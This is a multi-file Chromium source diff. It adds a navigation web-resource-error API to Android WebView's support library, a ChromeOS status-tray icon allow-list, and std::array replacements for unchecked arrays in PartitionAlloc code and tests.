--- a/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebResourceError.java
+++ b/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebResourceError.java
@@ -4,7 +4,7 @@
 
 package org.chromium.support_lib_callback_glue;
 
-import org.chromium.android_webview.AwContentsClient.AwWebResourceError;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.support_lib_boundary.WebResourceErrorBoundaryInterface;
 
 /** Adapter between {@link AwWebResourceError} and {@link WebResourceErrorBoundaryInterface}. */
@@ -21,11 +21,18 @@
 
     @Override
     public int getErrorCode() {
-        return mError.errorCode;
+        return mError.getWebviewError();
+    }
+
+    // Note: This is an internal error code that may not be stable over time.
+    // It is intended purely for debugging purposes.
+    @Override
+    public int getDebugCode() {
+        return mError.getNetError();
     }
 
     @Override
     public CharSequence getDescription() {
-        return mError.description;
+        return mError.getDescription();
     }
 }
diff --git a/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebViewContentsClientAdapter.java b/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebViewContentsClientAdapter.java
index c7624a4..c29a78d 100644
--- a/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebViewContentsClientAdapter.java
+++ b/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebViewContentsClientAdapter.java
@@ -11,7 +11,7 @@
 
 import androidx.annotation.Nullable;
 
-import org.chromium.android_webview.AwContentsClient.AwWebResourceError;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.safe_browsing.AwSafeBrowsingResponse;
 import org.chromium.base.Callback;
 import org.chromium.base.metrics.RecordHistogram;
diff --git a/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewChromiumFactory.java b/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewChromiumFactory.java
index a802035..f30b3d7a 100644
--- a/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewChromiumFactory.java
+++ b/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewChromiumFactory.java
@@ -132,6 +132,7 @@
                 Features.BACK_FORWARD_CACHE_SETTINGS_V3,
                 Features.PAGE_GET_URL,
                 Features.JS_INJECTION_IN_FRAME_AND_WORLD + Features.DEV_SUFFIX,
+                Features.NAVIGATION_GET_WEB_RESOURCE_ERROR + Features.DEV_SUFFIX,
                 // Add new features above. New features must include `+ Features.DEV_SUFFIX`
                 // when they're initially added (this can be removed in a future CL). The final
                 // feature should have a trailing comma for cleaner diffs.
@@ -313,6 +314,7 @@
         ApiCall.ADD_QUIC_HINTS,
         ApiCall.PAGE_GET_URL,
         ApiCall.JS_REPLY_EXECUTE_JS,
+        ApiCall.NAVIGATION_GET_WEB_RESOURCE_ERROR,
         // Add new constants above. The final constant should have a trailing comma for cleaner
         // diffs.
         ApiCall.COUNT, // Added to suppress WrongConstant in #recordApiCall
@@ -494,8 +496,9 @@
         int ADD_QUIC_HINTS = 170;
         int PAGE_GET_URL = 171;
         int JS_REPLY_EXECUTE_JS = 172;
+        int NAVIGATION_GET_WEB_RESOURCE_ERROR = 173;
         // Remember to update AndroidXWebkitApiCall in enums.xml when adding new values here
-        int COUNT = 173;
+        int COUNT = 174;
     }
 
     // LINT.ThenChange(/tools/metrics/histograms/metadata/android/enums.xml:AndroidXWebkitApiCall)
diff --git a/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewNavigationAdapter.java b/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewNavigationAdapter.java
index ad9cc884..1d91ef27 100644
--- a/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewNavigationAdapter.java
+++ b/android_webview/support_library/java/src/org/chromium/support_lib_glue/SupportLibWebViewNavigationAdapter.java
@@ -13,6 +13,7 @@
 import org.chromium.base.TraceEvent;
 import org.chromium.support_lib_boundary.WebViewNavigationBoundaryInterface;
 import org.chromium.support_lib_boundary.util.BoundaryInterfaceReflectionUtil;
+import org.chromium.support_lib_callback_glue.SupportLibWebResourceError;
 import org.chromium.support_lib_glue.SupportLibWebViewChromiumFactory.ApiCall;
 
 import java.lang.reflect.InvocationHandler;
@@ -141,6 +142,19 @@
     }
 
     @Override
+    public /* WebResourceError */ @Nullable InvocationHandler getWebResourceError() {
+        try (TraceEvent event =
+                TraceEvent.scoped("WebView.APICall.AndroidX.NAVIGATION_GET_WEB_RESOURCE_ERROR")) {
+            recordApiCall(ApiCall.NAVIGATION_GET_WEB_RESOURCE_ERROR);
+            if (mNavigation.getWebResourceError() == null) {
+                return null;
+            }
+            return BoundaryInterfaceReflectionUtil.createInvocationHandlerFor(
+                    new SupportLibWebResourceError(mNavigation.getWebResourceError()));
+        }
+    }
+
+    @Override
     public Object getOrCreatePeer(Callable<Object> creationCallable) {
         return mNavigation.getOrCreateSupportLibObject(creationCallable);
     }
diff --git a/android_webview/test/data/web_tests/webexposed/global-interface-listing-expected.txt b/android_webview/test/data/web_tests/webexposed/global-interface-listing-expected.txt
index 23c8388..52219f4 100644
--- a/android_webview/test/data/web_tests/webexposed/global-interface-listing-expected.txt
+++ b/android_webview/test/data/web_tests/webexposed/global-interface-listing-expected.txt
@@ -180,6 +180,7 @@
     getter onerror
     getter onsinkchange
     getter outputLatency
+    getter playbackStats
     getter playoutStats
     getter sinkId
     method close
@@ -292,6 +293,17 @@
     method has
     method keys
     method values
+interface AudioPlaybackStats
+    attribute @@toStringTag
+    getter averageLatency
+    getter maximumLatency
+    getter minimumLatency
+    getter totalDuration
+    getter underrunDuration
+    getter underrunEvents
+    method constructor
+    method resetLatency
+    method toJSON
 interface AudioPlayoutStats
     attribute @@toStringTag
     getter averageLatency
diff --git a/android_webview/test/shell/src/org/chromium/android_webview/test/NullContentsClient.java b/android_webview/test/shell/src/org/chromium/android_webview/test/NullContentsClient.java
index 3ece9777..cb09e7da 100644
--- a/android_webview/test/shell/src/org/chromium/android_webview/test/NullContentsClient.java
+++ b/android_webview/test/shell/src/org/chromium/android_webview/test/NullContentsClient.java
@@ -20,6 +20,7 @@
 import org.chromium.android_webview.AwHttpAuthHandler;
 import org.chromium.android_webview.AwRenderProcess;
 import org.chromium.android_webview.AwRenderProcessGoneDetail;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.JsPromptResultReceiver;
 import org.chromium.android_webview.JsResultReceiver;
diff --git a/ash/ambient/resources/ambient_animation_static_resources.h b/ash/ambient/resources/ambient_animation_static_resources.h
index e39b9de..c97933e5 100644
--- a/ash/ambient/resources/ambient_animation_static_resources.h
+++ b/ash/ambient/resources/ambient_animation_static_resources.h
@@ -40,9 +40,9 @@
   // supported.
   //
   // If |serializable| is true, GetSkottieWrapper() will return an animation
-  // that can be used for out-of-process rasterization in the graphics pipeline.
+  // that can be used for GPU rasterization in the graphics pipeline.
   // If false, resource creation is cheaper and uses less memory but cannot be
-  // used for OOP rasterization.
+  // used for GPU rasterization.
   static std::unique_ptr<AmbientAnimationStaticResources> Create(
       AmbientUiSettings ui_settings,
       bool serializable);
diff --git a/ash/ambient/ui/jitter_calculator.cc b/ash/ambient/ui/jitter_calculator.cc
index 1e173733..5527870 100644
--- a/ash/ambient/ui/jitter_calculator.cc
+++ b/ash/ambient/ui/jitter_calculator.cc
@@ -14,7 +14,7 @@
 
 JitterCalculator::JitterCalculator(AmbientJitterConfig config)
     : JitterCalculator(std::move(config),
-                       base::BindRepeating(&base::RandInt, 0, 1)) {}
+                       base::BindRepeating(&base::RandIntInclusive, 0, 1)) {}
 
 JitterCalculator::JitterCalculator(
     AmbientJitterConfig config,
diff --git a/ash/constants/BUILD.gn b/ash/constants/BUILD.gn
index 154e845d..b0db14ce 100644
--- a/ash/constants/BUILD.gn
+++ b/ash/constants/BUILD.gn
@@ -20,6 +20,7 @@
     "ash_pref_names.h",
     "ash_switches.cc",
     "ash_switches.h",
+    "chrome_custom_icon_catalog.h",
     "devicetype.cc",
     "devicetype.h",
     "generative_ai_country_restrictions.cc",
diff --git a/ash/constants/OWNERS b/ash/constants/OWNERS
index fa497dab..8ec2699e 100644
--- a/ash/constants/OWNERS
+++ b/ash/constants/OWNERS
@@ -13,3 +13,6 @@
 per-file tray_background_view_catalog.h=set noparent
 per-file tray_background_view_catalog.h=file://ash/system/OWNERS
 per-file tray_background_view_catalog.h=newcomer@chromium.org
+per-file chrome_custom_icon_catalog.h=set noparent
+per-file chrome_custom_icon_catalog.h=file://ash/system/OWNERS
+per-file chrome_custom_icon_catalog.h=newcomer@chromium.org
diff --git a/ash/constants/chrome_custom_icon_catalog.h b/ash/constants/chrome_custom_icon_catalog.h
new file mode 100644
index 0000000..53f74b5
--- /dev/null
+++ b/ash/constants/chrome_custom_icon_catalog.h
@@ -0,0 +1,21 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef ASH_CONSTANTS_CHROME_CUSTOM_ICON_CATALOG_H_
+#define ASH_CONSTANTS_CHROME_CUSTOM_ICON_CATALOG_H_
+
+namespace ash {
+
+// Used as allow-list of icons that Chrome can add to the StatusArea (a.k.a
+// StatusTray) of ChromeOS via StatusTray interface. (See `StatusTrayChromeOS`
+// for details)
+enum class ChromeCustomIconCatalogName {
+  kNotSupported = 0,
+  kGlic = 1,
+  kMaxValue = kGlic
+};
+
+}  // namespace ash
+
+#endif  // ASH_CONSTANTS_CHROME_CUSTOM_ICON_CATALOG_H_
diff --git a/ash/webui/common/resources/cr_elements/cr_shared_style.css b/ash/webui/common/resources/cr_elements/cr_shared_style.css
index f2ce099..7e41781 100644
--- a/ash/webui/common/resources/cr_elements/cr_shared_style.css
+++ b/ash/webui/common/resources/cr_elements/cr_shared_style.css
@@ -42,12 +42,15 @@
   border-width: 1px 0;
   overflow-y: auto;
 }
+
 [scrollable].is-scrolled {
   border-top-color: var(--scrollable-border-color);
 }
+
 [scrollable].can-scroll:not(.scrolled-to-bottom) {
   border-bottom-color: var(--scrollable-border-color);
 }
+
 [scrollable] iron-list > :not(.no-outline):focus,
 [selectable]:focus,
 [selectable] > :focus {
diff --git a/ash/webui/diagnostics_ui/resources/diagnostics_shared.css b/ash/webui/diagnostics_ui/resources/diagnostics_shared.css
index 5922014f..359b682 100644
--- a/ash/webui/diagnostics_ui/resources/diagnostics_shared.css
+++ b/ash/webui/diagnostics_ui/resources/diagnostics_shared.css
@@ -62,6 +62,7 @@
   :host-context(body.jelly-enabled) cr-button.action-button {
     font: var(--cros-button-1-font);
   }
+
   :host-context(body.jelly-enabled) cr-dialog::part(dialog) {
     border-radius: 20px;
   }
diff --git a/ash/webui/sanitize_ui/resources/sanitize_shared.css b/ash/webui/sanitize_ui/resources/sanitize_shared.css
index 54225423..4e58d5a 100644
--- a/ash/webui/sanitize_ui/resources/sanitize_shared.css
+++ b/ash/webui/sanitize_ui/resources/sanitize_shared.css
@@ -160,10 +160,12 @@
   height: 640px;
   width: 680px;
 }
+
 div[slot='body'] {
   border-radius: 20px;
   padding: 32px;
 }
+
 .title {
   margin-top: 16px;
   margin-bottom: 16px;
@@ -184,6 +186,7 @@
   line-height: var(--cros-body-2-line-height);
   color: var(--cros-sys-on_surface_variant);
 }
+
 .done-button-container {
   text-align: right;
   margin-top: 24px;
diff --git a/base/BUILD.gn b/base/BUILD.gn
index 08ffb22..d0317b2 100644
--- a/base/BUILD.gn
+++ b/base/BUILD.gn
@@ -838,6 +838,7 @@
     "task/thread_pool/worker_thread_observer.h",
     "task/thread_pool/worker_thread_set.cc",
     "task/thread_pool/worker_thread_set.h",
+    "task/thread_type.h",
     "task/updateable_sequenced_task_runner.h",
     "test/scoped_logging_settings.h",
     "test/spin_wait.h",
diff --git a/base/allocator/partition_allocator/OWNERS b/base/allocator/partition_allocator/OWNERS
index 79547fa..7df1768 100644
--- a/base/allocator/partition_allocator/OWNERS
+++ b/base/allocator/partition_allocator/OWNERS
@@ -2,6 +2,7 @@
 keishi@chromium.org
 lizeb@chromium.org
 tasak@google.com
+nuskos@chromium.org
 
 per-file pointers/raw_ptr*=file://base/memory/MIRACLE_PTR_OWNERS
 per-file pointers/raw_ref*=file://base/memory/MIRACLE_PTR_OWNERS
diff --git a/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.cc b/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.cc
index 58662cc..71a2a3b7 100644
--- a/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.cc
+++ b/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.cc
@@ -13,7 +13,6 @@
 #include "partition_alloc/buildflags.h"
 #include "partition_alloc/page_allocator.h"
 #include "partition_alloc/page_allocator_constants.h"
-#include "partition_alloc/partition_alloc_base/compiler_specific.h"
 #include "partition_alloc/partition_alloc_base/cxx_wrapper/algorithm.h"
 #include "partition_alloc/partition_alloc_base/notreached.h"
 #include "partition_alloc/partition_alloc_check.h"
@@ -85,8 +84,8 @@
 }
 
 void AddressPoolManager::ResetForTesting() {
-  for (size_t i = 0; i < std::size(pools_); ++i) {
-    PA_UNSAFE_TODO(pools_[i]).Reset();
+  for (auto& pool : pools_) {
+    pool.Reset();
   }
 }
 
diff --git a/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.h b/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.h
index ee52db6..f1e80c6 100644
--- a/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.h
+++ b/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager.h
@@ -5,6 +5,7 @@
 #ifndef PARTITION_ALLOC_ADDRESS_POOL_MANAGER_H_
 #define PARTITION_ALLOC_ADDRESS_POOL_MANAGER_H_
 
+#include <array>
 #include <bitset>
 #include <limits>
 
@@ -181,7 +182,7 @@
 
   PA_ALWAYS_INLINE Pool* GetPool(pool_handle handle) {
     PA_DCHECK(kNullPoolHandle < handle && handle <= kNumPools);
-    return &PA_UNSAFE_TODO(pools_[handle - 1]);
+    return &pools_[handle - 1];
   }
 
   // Gets the stats for the pool identified by `handle`, if
@@ -204,7 +205,7 @@
 #if defined(__clang__)
 #pragma clang diagnostic pop
 #endif
-  Pool pools_[kNumPools];
+  std::array<Pool, kNumPools> pools_;
 
 #endif  // PA_BUILDFLAG(HAS_64_BIT_POINTERS)
 
diff --git a/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager_unittest.cc b/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager_unittest.cc
index dbcd36b..850708d 100644
--- a/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager_unittest.cc
+++ b/base/allocator/partition_allocator/src/partition_alloc/address_pool_manager_unittest.cc
@@ -4,6 +4,7 @@
 
 #include "partition_alloc/address_pool_manager.h"
 
+#include <array>
 #include <cstdint>
 
 #include "partition_alloc/address_space_stats.h"
@@ -108,25 +109,23 @@
 }
 
 TEST_F(PartitionAllocAddressPoolManagerTest, PagesFragmented) {
-  uintptr_t addrs[kPageCnt];
+  std::array<uintptr_t, kPageCnt> addrs;
   for (size_t i = 0; i < kPageCnt; ++i) {
-    PA_UNSAFE_TODO(addrs[i]) =
-        GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize);
-    EXPECT_EQ(PA_UNSAFE_TODO(addrs[i]), base_address_ + i * kSuperPageSize);
+    addrs[i] = GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize);
+    EXPECT_EQ(addrs[i], base_address_ + i * kSuperPageSize);
   }
   EXPECT_EQ(GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize), 0u);
   // Free other other super page, so that we have plenty of free space, but none
   // of the empty spaces can fit 2 super pages.
   for (size_t i = 1; i < kPageCnt; i += 2) {
-    GetAddressPoolManager()->UnreserveAndDecommit(
-        pool_, PA_UNSAFE_TODO(addrs[i]), kSuperPageSize);
+    GetAddressPoolManager()->UnreserveAndDecommit(pool_, addrs[i],
+                                                  kSuperPageSize);
   }
   EXPECT_EQ(GetAddressPoolManager()->Reserve(pool_, 0, 2 * kSuperPageSize), 0u);
   // Reserve freed super pages back, so that there are no free ones.
   for (size_t i = 1; i < kPageCnt; i += 2) {
-    PA_UNSAFE_TODO(addrs[i]) =
-        GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize);
-    EXPECT_EQ(PA_UNSAFE_TODO(addrs[i]), base_address_ + i * kSuperPageSize);
+    addrs[i] = GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize);
+    EXPECT_EQ(addrs[i], base_address_ + i * kSuperPageSize);
   }
   EXPECT_EQ(GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize), 0u);
   // Lastly, clean up.
@@ -136,11 +135,10 @@
 }
 
 TEST_F(PartitionAllocAddressPoolManagerTest, GetUsedSuperpages) {
-  uintptr_t addrs[kPageCnt];
+  std::array<uintptr_t, kPageCnt> addrs;
   for (size_t i = 0; i < kPageCnt; ++i) {
-    PA_UNSAFE_TODO(addrs[i]) =
-        GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize);
-    EXPECT_EQ(PA_UNSAFE_TODO(addrs[i]), base_address_ + i * kSuperPageSize);
+    addrs[i] = GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize);
+    EXPECT_EQ(addrs[i], base_address_ + i * kSuperPageSize);
   }
   EXPECT_EQ(GetAddressPoolManager()->Reserve(pool_, 0, kSuperPageSize), 0u);
 
@@ -155,8 +153,8 @@
   // Free every other super page, so that we have plenty of free space, but none
   // of the empty spaces can fit 2 super pages.
   for (size_t i = 1; i < kPageCnt; i += 2) {
-    GetAddressPoolManager()->UnreserveAndDecommit(
-        pool_, PA_UNSAFE_TODO(addrs[i]), kSuperPageSize);
+    GetAddressPoolManager()->UnreserveAndDecommit(pool_, addrs[i],
+                                                  kSuperPageSize);
   }
 
   EXPECT_EQ(GetAddressPoolManager()->Reserve(pool_, 0, 2 * kSuperPageSize), 0u);
@@ -174,8 +172,8 @@
 
   // Free the even numbered super pages.
   for (size_t i = 0; i < kPageCnt; i += 2) {
-    GetAddressPoolManager()->UnreserveAndDecommit(
-        pool_, PA_UNSAFE_TODO(addrs[i]), kSuperPageSize);
+    GetAddressPoolManager()->UnreserveAndDecommit(pool_, addrs[i],
+                                                  kSuperPageSize);
   }
 
   // Finally check to make sure all bits are zero in the used superpage bitset.
@@ -286,30 +284,31 @@
 
 TEST(PartitionAllocAddressPoolManagerTest, IsManagedByRegularPool) {
   constexpr size_t kAllocCount = 8;
-  static const size_t kNumPages[kAllocCount] = {1, 4, 7, 8, 13, 16, 31, 60};
-  uintptr_t addrs[kAllocCount];
+  static const std::array<size_t, kAllocCount> kNumPages = {1,  4,  7,  8,
+                                                            13, 16, 31, 60};
+  std::array<uintptr_t, kAllocCount> addrs;
   for (size_t i = 0; i < kAllocCount; ++i) {
-    PA_UNSAFE_TODO(addrs[i]) = AddressPoolManager::GetInstance().Reserve(
+    addrs[i] = AddressPoolManager::GetInstance().Reserve(
         kRegularPoolHandle, 0,
         AddressPoolManagerBitmap::kBytesPer1BitOfRegularPoolBitmap *
-            PA_UNSAFE_TODO(kNumPages[i]));
-    PA_UNSAFE_TODO(EXPECT_TRUE(addrs[i]));
-    PA_UNSAFE_TODO(EXPECT_TRUE(!(addrs[i] & kSuperPageOffsetMask)));
+            kNumPages[i]);
+    EXPECT_TRUE(addrs[i]);
+    EXPECT_TRUE(!(addrs[i] & kSuperPageOffsetMask));
     AddressPoolManager::GetInstance().MarkUsed(
-        kRegularPoolHandle, PA_UNSAFE_TODO(addrs[i]),
+        kRegularPoolHandle, addrs[i],
         AddressPoolManagerBitmap::kBytesPer1BitOfRegularPoolBitmap *
-            PA_UNSAFE_TODO(kNumPages[i]));
+            kNumPages[i]);
   }
   for (size_t i = 0; i < kAllocCount; ++i) {
-    uintptr_t address = PA_UNSAFE_TODO(addrs[i]);
+    uintptr_t address = addrs[i];
     size_t num_pages =
         base::bits::AlignUp(
-            PA_UNSAFE_TODO(kNumPages[i]) *
+            kNumPages[i] *
                 AddressPoolManagerBitmap::kBytesPer1BitOfRegularPoolBitmap,
             kSuperPageSize) /
         AddressPoolManagerBitmap::kBytesPer1BitOfRegularPoolBitmap;
     for (size_t j = 0; j < num_pages; ++j) {
-      if (j < PA_UNSAFE_TODO(kNumPages[i])) {
+      if (j < kNumPages[i]) {
         EXPECT_TRUE(AddressPoolManager::IsManagedByRegularPool(address));
       } else {
         EXPECT_FALSE(AddressPoolManager::IsManagedByRegularPool(address));
@@ -320,17 +319,15 @@
   }
   for (size_t i = 0; i < kAllocCount; ++i) {
     AddressPoolManager::GetInstance().MarkUnused(
-        kRegularPoolHandle, PA_UNSAFE_TODO(addrs[i]),
+        kRegularPoolHandle, addrs[i],
         AddressPoolManagerBitmap::kBytesPer1BitOfRegularPoolBitmap *
-            PA_UNSAFE_TODO(kNumPages[i]));
+            kNumPages[i]);
     AddressPoolManager::GetInstance().UnreserveAndDecommit(
-        kRegularPoolHandle, PA_UNSAFE_TODO(addrs[i]),
+        kRegularPoolHandle, addrs[i],
         AddressPoolManagerBitmap::kBytesPer1BitOfRegularPoolBitmap *
-            PA_UNSAFE_TODO(kNumPages[i]));
-    PA_UNSAFE_TODO(
-        EXPECT_FALSE(AddressPoolManager::IsManagedByRegularPool(addrs[i])));
-    PA_UNSAFE_TODO(
-        EXPECT_FALSE(AddressPoolManager::IsManagedByBRPPool(addrs[i])));
+            kNumPages[i]);
+    EXPECT_FALSE(AddressPoolManager::IsManagedByRegularPool(addrs[i]));
+    EXPECT_FALSE(AddressPoolManager::IsManagedByBRPPool(addrs[i]));
   }
 }
 
@@ -338,16 +335,15 @@
 TEST(PartitionAllocAddressPoolManagerTest, IsManagedByBRPPool) {
   constexpr size_t kAllocCount = 4;
   // Totally (1+3+7+11) * 2MB = 44MB allocation
-  static const size_t kNumPages[kAllocCount] = {1, 3, 7, 11};
-  uintptr_t addrs[kAllocCount];
+  static const std::array<size_t, kAllocCount> kNumPages = {1, 3, 7, 11};
+  std::array<uintptr_t, kAllocCount> addrs;
   for (size_t i = 0; i < kAllocCount; ++i) {
-    PA_UNSAFE_TODO(addrs[i]) = AddressPoolManager::GetInstance().Reserve(
-        kBRPPoolHandle, 0, kSuperPageSize * PA_UNSAFE_TODO(kNumPages[i]));
-    PA_UNSAFE_TODO(EXPECT_TRUE(addrs[i]));
-    PA_UNSAFE_TODO(EXPECT_TRUE(!(addrs[i] & kSuperPageOffsetMask)));
-    AddressPoolManager::GetInstance().MarkUsed(
-        kBRPPoolHandle, PA_UNSAFE_TODO(addrs[i]),
-        kSuperPageSize * PA_UNSAFE_TODO(kNumPages[i]));
+    addrs[i] = AddressPoolManager::GetInstance().Reserve(
+        kBRPPoolHandle, 0, kSuperPageSize * kNumPages[i]);
+    EXPECT_TRUE(addrs[i]);
+    EXPECT_TRUE(!(addrs[i] & kSuperPageOffsetMask));
+    AddressPoolManager::GetInstance().MarkUsed(kBRPPoolHandle, addrs[i],
+                                               kSuperPageSize * kNumPages[i]);
   }
 
   constexpr size_t first_guard_size =
@@ -359,11 +355,11 @@
        AddressPoolManagerBitmap::kGuardOffsetOfBRPPoolBitmap);
 
   for (size_t i = 0; i < kAllocCount; ++i) {
-    uintptr_t address = PA_UNSAFE_TODO(addrs[i]);
-    size_t num_allocated_size = PA_UNSAFE_TODO(kNumPages[i]) * kSuperPageSize;
+    uintptr_t address = addrs[i];
+    size_t num_allocated_size = kNumPages[i] * kSuperPageSize;
     size_t num_system_pages = num_allocated_size / SystemPageSize();
     for (size_t j = 0; j < num_system_pages; ++j) {
-      size_t offset = address - PA_UNSAFE_TODO(addrs[i]);
+      size_t offset = address - addrs[i];
       if (offset < first_guard_size ||
           offset >= (num_allocated_size - last_guard_size)) {
         EXPECT_FALSE(AddressPoolManager::IsManagedByBRPPool(address));
@@ -375,16 +371,12 @@
     }
   }
   for (size_t i = 0; i < kAllocCount; ++i) {
-    AddressPoolManager::GetInstance().MarkUnused(
-        kBRPPoolHandle, PA_UNSAFE_TODO(addrs[i]),
-        kSuperPageSize * PA_UNSAFE_TODO(kNumPages[i]));
+    AddressPoolManager::GetInstance().MarkUnused(kBRPPoolHandle, addrs[i],
+                                                 kSuperPageSize * kNumPages[i]);
     AddressPoolManager::GetInstance().UnreserveAndDecommit(
-        kBRPPoolHandle, PA_UNSAFE_TODO(addrs[i]),
-        kSuperPageSize * PA_UNSAFE_TODO(kNumPages[i]));
-    PA_UNSAFE_TODO(
-        EXPECT_FALSE(AddressPoolManager::IsManagedByRegularPool(addrs[i])));
-    PA_UNSAFE_TODO(
-        EXPECT_FALSE(AddressPoolManager::IsManagedByBRPPool(addrs[i])));
+        kBRPPoolHandle, addrs[i], kSuperPageSize * kNumPages[i]);
+    EXPECT_FALSE(AddressPoolManager::IsManagedByRegularPool(addrs[i]));
+    EXPECT_FALSE(AddressPoolManager::IsManagedByBRPPool(addrs[i]));
   }
 }
 #endif  // PA_BUILDFLAG(ENABLE_BACKUP_REF_PTR_SUPPORT)
diff --git a/base/allocator/partition_allocator/src/partition_alloc/partition_stats.h b/base/allocator/partition_allocator/src/partition_alloc/partition_stats.h
index ac68d42..03a1e60 100644
--- a/base/allocator/partition_allocator/src/partition_alloc/partition_stats.h
+++ b/base/allocator/partition_allocator/src/partition_alloc/partition_stats.h
@@ -38,7 +38,7 @@
   uint32_t metadata_overhead;
 
 #if PA_CONFIG(THREAD_CACHE_ALLOC_STATS)
-  uint64_t allocs_per_bucket_[BucketIndexLookup::kNumBuckets + 1];
+  std::array<uint64_t, BucketIndexLookup::kNumBuckets + 1> allocs_per_bucket_;
 #endif  // PA_CONFIG(THREAD_CACHE_ALLOC_STATS)
 };
 
diff --git a/base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc b/base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc
index 7f6552d4..eef18690 100644
--- a/base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc
+++ b/base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc
@@ -831,8 +831,7 @@
 
 #if PA_CONFIG(THREAD_CACHE_ALLOC_STATS)
   for (size_t i = 0; i < BucketIndexLookup::kNumBuckets + 1; i++) {
-    PA_UNSAFE_TODO(stats->allocs_per_bucket_[i] +=
-                   stats_.allocs_per_bucket_[i]);
+    stats->allocs_per_bucket_[i] += stats_.allocs_per_bucket_[i];
   }
 #endif  // PA_CONFIG(THREAD_CACHE_ALLOC_STATS)
 
diff --git a/base/allocator/partition_allocator/src/partition_alloc/thread_cache.h b/base/allocator/partition_allocator/src/partition_alloc/thread_cache.h
index f6613c4f..545728c 100644
--- a/base/allocator/partition_allocator/src/partition_alloc/thread_cache.h
+++ b/base/allocator/partition_allocator/src/partition_alloc/thread_cache.h
@@ -549,7 +549,7 @@
     size_t bucket_index,
     size_t* slot_size) {
 #if PA_CONFIG(THREAD_CACHE_ALLOC_STATS)
-  PA_UNSAFE_TODO(stats_.allocs_per_bucket_[bucket_index])++;
+  stats_.allocs_per_bucket_[bucket_index]++;
 #endif
 
   PA_REENTRANCY_GUARD(is_in_thread_cache_);
diff --git a/base/byte_size_nocompile.nc b/base/byte_size_nocompile.nc
index d3eb81b..f9b86e3 100644
--- a/base/byte_size_nocompile.nc
+++ b/base/byte_size_nocompile.nc
@@ -15,7 +15,7 @@
 
 void ConstructByteSizeFromSigned() {
   // Any runtime signed value not allowed.
-  [[maybe_unused]] ByteSize bytes(RandInt(-10, 10));  // expected-error {{call to consteval function}}
+  [[maybe_unused]] ByteSize bytes(RandIntInclusive(-10, 10));  // expected-error {{call to consteval function}}
 
   // Negative constant not allowed.
   [[maybe_unused]] ByteSize bytes2(-1);  // expected-error {{call to consteval function}}
@@ -27,7 +27,7 @@
 
 void ConstructByteSizeFromOtherUnit() {
   // Any runtime signed value not allowed.
-  int i = RandInt(-10, 10);
+  int i = RandIntInclusive(-10, 10);
   [[maybe_unused]] ByteSize kib = KiBU(i);  // expected-error {{not a constant expression}}
   [[maybe_unused]] ByteSize mib = MiBU(i);  // expected-error {{not a constant expression}}
   [[maybe_unused]] ByteSize gib = GiBU(i);  // expected-error {{not a constant expression}}
@@ -55,7 +55,7 @@
 
 void ConstructByteSizeDeltaFromUnsigned() {
   // Any runtime unsigned value not allowed (require explicit cast).
-  unsigned u = static_cast<unsigned>(RandInt(0, 10));
+  unsigned u = static_cast<unsigned>(RandIntInclusive(0, 10));
   [[maybe_unused]] ByteSizeDelta delta(u);  // expected-error {{call to consteval function}}
 
   // Out-of-range constant not allowed.
@@ -68,7 +68,7 @@
 
 void ConstructByteSizeDeltaFromOtherUnit() {
   // Any runtime unsigned value not allowed (require explicit cast).
-  unsigned u = static_cast<unsigned>(RandInt(0, 10));
+  unsigned u = static_cast<unsigned>(RandIntInclusive(0, 10));
   [[maybe_unused]] ByteSizeDelta kib = KiBS(u);  // expected-error {{not a constant expression}}
   [[maybe_unused]] ByteSizeDelta mib = MiBS(u);  // expected-error {{not a constant expression}}
   [[maybe_unused]] ByteSizeDelta gib = GiBS(u);  // expected-error {{not a constant expression}}
diff --git a/base/byte_size_unittest.cc b/base/byte_size_unittest.cc
index e9b379e..64705986 100644
--- a/base/byte_size_unittest.cc
+++ b/base/byte_size_unittest.cc
@@ -34,8 +34,8 @@
 // Helper to generate a fixed number at runtime.
 template <typename T>
 T RunTimeNum(T num) {
-  // RandInt always returns 0, but the compiler doesn't know that!
-  return num + RandInt(0, 0);
+  // RandIntInclusive always returns 0, but the compiler doesn't know that!
+  return num + RandIntInclusive(0, 0);
 }
 
 TEST(ByteSizeTest, ConstructionDefault) {
